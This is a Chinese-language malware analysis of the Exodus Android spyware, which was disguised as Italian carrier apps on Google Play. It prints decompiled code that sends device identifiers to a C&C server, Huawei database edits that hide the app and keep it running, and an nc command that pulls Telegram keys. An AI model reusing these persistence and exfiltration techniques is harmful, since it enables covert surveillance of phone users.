导语:Security Without Borders团队在收集了2016年到2019年初的大量样本后确定了一个新的Android间谍软件平台,并将其命名为Exodus,它由被称为Exodus One和Exodus Two的两个阶段组成。
摘要
Security Without Borders团队在收集了2016年到2019年初的大量样本后确定了一个新的Android间谍软件平台,并将其命名为Exodus,它由被称为Exodus One和Exodus Two的两个阶段组成。
该类间谍软件是在Google Play商店中发现的,它被伪装成移动运营商的服务应用程序。在Google Play商店页面的介绍以及应用程序的说明中用的都是意大利语。而根据公开的统计数据以及Google的确认后,这些应用程序中的大多数都只有几十个安装,只有其中一个安装量达到了350多个,受害者都位于意大利。当前,所有这些Google Play商店页面都已被Google删除。
我们推测,该间谍软件平台是由一家名为eSurv的意大利公司开发的,该公司主要从事视频监控业务。根据公开记录,eSurv似乎是在2016年开始开发入侵软件的。
Exodus配备了广泛的收集和拦截功能。而令人担忧的是,此软件通过强制执行某些修改可能会使受感染的设备受到进一步危害或是数据篡改。
间谍软件的伪装与上传
我们发现,eSurv的间谍软件在两年多的时间内多次成功上传到Google Play商店。这些应用程序能在Google Play中存活数月,在被下架后又能重新上传。虽然每次上传的版本在细节上可能会有所不同,但所有副本都有类似的伪装,并且在大多数情况下,它们都会模拟成由意大利的移动运营商(未指明)发布。传播方式则是通过向目标用户发送短信引导受害者进入Google Play页面下载。
在我们向Google报备后,Google已经删除了这些应用程序,并且在回应中表示“由于增强了检测模型,Google Play Protect现在能够更好地检测这些应用程序的未来变种”。虽然Google没有告知受感染设备的总数,但他们证实,除了其中一个恶意应用程序有350多个安装外,其他变种程序最多只有几十个安装,而且所有感染都发生在意大利。通过Exodus的副本我们也可以估算感染的总数可能在数百个左右,也有可能上千。
第一阶段:Exodus One
第一阶段是下载,恶意应用程序只起到一个dropper的作用。以下是这些dropper诱骗用户一些示例:
Exodus One的目的似乎是收集设备的一些基本识别信息(即IMEI代码和电话号码),并将其发送到C&C服务器。这么做通常是为了验证新感染的目标。在2016年的一些较老的、未模糊的样本里也进一步证实了这一点,这些样本的主要类名为CheckValidTarget。
在我们的测试期间,间谍软件在第一次检入后会立即升级到第二阶段。这表明C& C服务器的运营人员没有强制执行目标的验证。此外,在接下来几天的时间里,我们受感染的测试设备从未被操作人员远程消毒过。
在本报告中,我们分析了哈希为 8453ce501fee1ca8a321f16b09969c517f92a24b058ac54549eabd58bf1884的Exodus One样本,该样本与C& C服务器在54.71.249.137处通信,而剩余样本通信的服务器则在报告底部列出。Exodus One通过发送包含应用程序包名、设备IMEI和附加设备信息的加密体的POST请求来检入。
POST /eddd0317-2bdc-4140-86cb-0e8d7047b874 HTTP/1.1 User-Agent: it.promofferte:[REDACTED] Content-Type: application/octet-stream Content-Length: 256 Host: 54.71.249.137 Connection: Keep-Alive Accept-Encoding: gzip .....,Q... N.v..us.R.........../...\D..5p..q ......4 [REDACTED] gl.O..Y.Q..)3...7K.:(..5...w..........L.....p.L2......._jK..............g}...15......r.x.x!.....?..O.z...... HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Date: [REDACTED] Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip 358fde5fe8f91b132636a6d5a7148070
加密体由多个连接在一起的标识符组成:
StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append(" "); stringBuilder.append("#"); stringBuilder.append(deviceId); stringBuilder.append("#"); stringBuilder.append(str); stringBuilder.append("#"); stringBuilder.append(line1Number); stringBuilder.append("##"); stringBuilder.append(subscriberId); stringBuilder.append("#"); stringBuilder.append(networkOperatorName); stringBuilder.append("#"); stringBuilder.append(networkType); stringBuilder.append("#"); stringBuilder.append(simState);
doFinal()用于加密设备信息字符串:
final byte[] doFinal = a3.doFinal(stringBuilder.toString().getBytes());
用户代理字符串由包名和IMEI号构建:
stringBuilder2.append(this.e.getPackageName()); stringBuilder2.append(":"); stringBuilder2.append(deviceId); subscriberId = stringBuilder2.toString();
最后,将HTTP请求发送到服务器https://54.71.249.137/eddd0317-2bdc-4140-86cb-0e8d7047b874。应用程序中的许多字符串都是与键Kjk1MmphFG异或后的值:
StringBuilder stringBuilder3 = new StringBuilder(); stringBuilder3.append("https://"); stringBuilder3.append(a); stringBuilder3.append("/"); stringBuilder3.append(p.a("Lg4PVX1eQV9rdSkOCBx5XERYa399CQkcfQhIDHF3f10JCXpZ")); final Request build = builder.url(stringBuilder3.toString()).header("User-Agent", subscriberId).post(create).build();
在一些额外的请求之后,dropper向https://54.71.249.137/56e087c9-fc56-49bb-bbd0-4fafc4acd6e1发出一个POST请求,将返回一个包含第二阶段二进制文件的zip文件。
POST /56e087c9-fc56-49bb-bbd0-4fafc4acd6e1 HTTP/1.1 User-Agent: it.promofferte:[REDACTED] Content-Type: application/octet-stream Content-Length: 256 Host: 54.71.249.137 Connection: Keep-Alive Accept-Encoding: gzip ......#f......Ri.)"S.d,....xT...([email protected];....u..4.k... ".d...W [REDACTED] %.+Y..k..}..I....!z...5G...-(.]fc.V..<[y...T..s}.{......u%..[.!89...m.. HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Date: [REDACTED] Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip PK.........e[[email protected]'...T......null_armUT ...D.ZxD.Zux..............|}|....y.%...O`.....f..0..)..P..
第二阶段:Exodus Two
Exodus One执行检入后返回的Zip归档文件是一组文件,包括了主要有效负载mike.jar和几个编译后的实用程序,它们提供不同的功能。在2019年1月最新的版本中,Zip归档文件包含了所有已部署二进制文件的i686、arm和arm64版本。更多版本信息请点击此处了解。
在下载的各种二进制文件中,最有意思的是null和rootdaemon,前者用作本地和反向shell,后者负责权限提升和数据获取。rootdaemon将首先尝试使用DirtyCow修改版本的漏洞越狱设备。下载后,Exodus One将使用Android API DexClassLoader()动态加载并执行阶段2的初级payload mike.jar,用mike.jar能实现大部分数据收集和提取功能。
与另一款意大利制造的Android间谍软件类似,Exodus也利用了protectedapps功能,这是华为手机的一项功能,可以为运行中的应用程序配置节电选项。这款软件名为Skygofree,最初由Lukas Stefanko发现,卡巴斯基实验室此后也对它做了深入分析。通过操作SQLite数据库,即使屏幕关闭,Exodus能够保持自身运行,而一般情况下应用程序在屏幕关闭后都会停止运行以减少电池消耗。
if ( !func_sqlite_loaddb((int)"/data/data/com.huawei.systemmanager/databases/Optimize.db", (int)&db_handle) ) { sprintf(&s, "INSERT INTO protectedapps (package_name,list_type) VALUES ('%s','1')", v1, 0); func_sqlite_exec(db_handle, &s, 0, 0, &v4); sprintf(&s, "DELETE FROM backgroundwhiteapps WHERE package_name='%s'", v1); func_sqlite_exec(db_handle, &s, 0, 0, &v4); sprintf(&s, "INSERT INTO backgroundwhiteapps (package_name) VALUES ('%s')", v1); func_sqlite_exec(db_handle, &s, 0, 0, &v4); func_sqlite_free(v4); }
if ( !func_sqlite_loaddb( (int)"/data/user_de/0/com.huawei.systemmanager/databases/smartpowerprovider.db", (int)&db_handle) ) { sprintf(&s, "INSERT INTO protectedapps (package_name,list_type) VALUES ('%s','1')", v2, a2); func_sqlite_exec(db_handle, &s, 0, 0, &v5); sprintf(&s, "DELETE FROM rogueapps WHERE pkgname='%s'", v2); func_sqlite_exec(db_handle, &s, 0, 0, &v5); sprintf(&s, "DELETE FROM superpowerapps WHERE pkgname='%s'", v2); func_sqlite_exec(db_handle, &s, 0, 0, &v5); sprintf(&s, "REPLACE INTO unifiedpowerapps (pkg_name,is_protected,is_show,is_changed) VALUES ('%s',1,0,0)", v2); func_sqlite_exec(db_handle, &s, 0, 0, &v5); func_sqlite_free(v5); }
此外,rootdaemon会试图从华为手机的系统管理器中删除自己的用电量统计数据:
if ( !func_sqlite_loaddb((int)"/data/data/com.huawei.systemmanager/databases/stusagestat.db", (int)&db_handle) ) { sprintf(&s, "REPLACE INTO default_value_table (pkg_name,control,protect,keytask) VALUES ('%s',0,2,0)", v1, 0); func_sqlite_exec(db_handle, &s, 0, 0, &v4); sprintf(&s, "DELETE FROM st_key_procs_table WHERE st_key_process='%s'", v1); func_sqlite_exec(db_handle, &s, 0, 0, &v4); sprintf(&s, "INSERT INTO st_key_procs_table (st_key_process) VALUES ('%s')"); func_sqlite_exec(db_handle, &s, 0, 0, &v4); sprintf(&s, "REPLACE INTO st_protected_pkgs_table (pkg_name,is_checked) VALUES ('%s',1)", v1); func_sqlite_exec(db_handle, &s, 0, 0, &v4); func_sqlite_free(v4); }
类似地,在三星手机上,恶意应用程序会试图通过添加到文件/data/data/com.samsung.android.securitylogagent/shared_prefs/apm_sp_status_of_apps.xml中来使使用痕迹最小化:
<?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <int name=\"[APP NAME]\" value=\"33554499\" /> </map>
并将以下行添加到文件/data/data/com.samsung.android.securitylogagent/shared_prefs/com.samsung.android.securitylogagent_preferences.xml中:
<?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <boolean name=\"[APP NAME]\" value=\"false\" /> </map>
数据收集和提取
如上所述,mike.jar为间谍软件提供了广泛的收集功能,包括:
· 检索已安装的应用程序列表。
· 使用3gp格式的内置麦克风录制周围环境。
· 从Chrome和SBrowser(三星手机附带的浏览器)中检索浏览历史记录和书签。
· 从日历应用中提取事件。
· 提取通话记录。
· 以3gp格式录制电话。
· 使用内置相机拍照。
· 收集周围基站(BTS)的信息。
· 提取地址簿。
· 从Facebook应用程序中提取联系人列表。
· 从Facebook Messenger对话中提取日志。
· 截取前景中任何应用的截图。
· 从图库中提取图片信息。
· 从GMail应用程序中提取信息。
· 从IMO Messenger应用程序转储数据。
· 从Skype应用程序中提取呼叫日志,联系人和消息。
· 检索所有SMS消息。
· 从Telegram应用程序中提取消息和加密密钥。
· 从Viber messenger应用程序转储数据。
· 从WhatsApp中提取日志。
· 检索通过WhatsApp交换的媒体。
· 提取Wi-Fi网络的密码。
· 从微信中提取数据。
· 提取手机的当前GPS坐标。
上述功能中,有一些纯粹是通过mike.jar中的代码就能实现,还有一些则需要访问权限,例如访问SQLite数据库或应用程序存储中的其他文件时需要以root特权运行,为了实现这一点,mike.jar通过各种TCP端口连接到rootdaemon,下列是一些能提取的TCP端口:
· 端口6202:WhatsApp提取服务。
· 端口6203和6204:Facebook提取服务。
· 端口6205:Gmail提取服务。
· 端口6206:Skype提取服务。
· 端口6207:Viber提取服务。
· 端口6208:IMO提取服务。
· 端口6209:Telegram提取服务。
· 端口6210:SBrowser提取服务。
· 端口6211:日历提取服务。
· 端口6212:Chrome提取服务。
这些服务似乎在所有网络接口上都有运行,因此任何与受感染设备共享本地网络的人都可以访问这些服务。
tcp 0 0 0.0.0.0:6201 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:6205 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:6209 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:6211 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:6212 0.0.0.0:* LISTEN
下面我们可以看到一个连接到端口6209的示例,该端口用于从Telegram应用程序中提取数据。我们能够向服务发送命令,比如dumpmsgdb或getkey(它转储tgnet.dat文件)。
[email protected]:~$ nc 192.168.1.99 6209 | xxd getkey 00000000: 1f8b 0800 0000 0000 0003 1361 6660 0022 ...........af`." 00000010: 06f3 e995 7bb6 9616 cd04 6126 0604 70b7 ....{.....a&..p. 00000020: bfb9 e1d2 d959 e741 f220 3e2b 1073 0131 .....Y.A. >+.s.1 00000030: 2392 1a10 9bcf d0c4 52cf d0d4 44cf d0dc #.......R...D... [...] 00000080: 24d5 02e4 2423 ac4e a2c8 4dcc 686e e247 $...$#.N..M.hn.G 00000090: 0e27 4303 03c2 e164 4cf5 7062 c117 4e96 .'C....dL.pb..N. 000000a0: 4484 9309 f5c3 8915 cd4d bc88 7032 d433 D........M..p2.3 000000b0: 65c0 9f9e d240 8e32 a56a 3801 00c3 3f3c [email protected]?< 000000c0: ab18 0300 00
从mike.jar的提取模块获取的数据通常是经过异或运算的,并存储在SD卡上名为.lost +的文件夹中。数据最终通过上传队列传递到C&C服务器ws.my-local-weather [.] com处,并利用TLS连接进行泄露。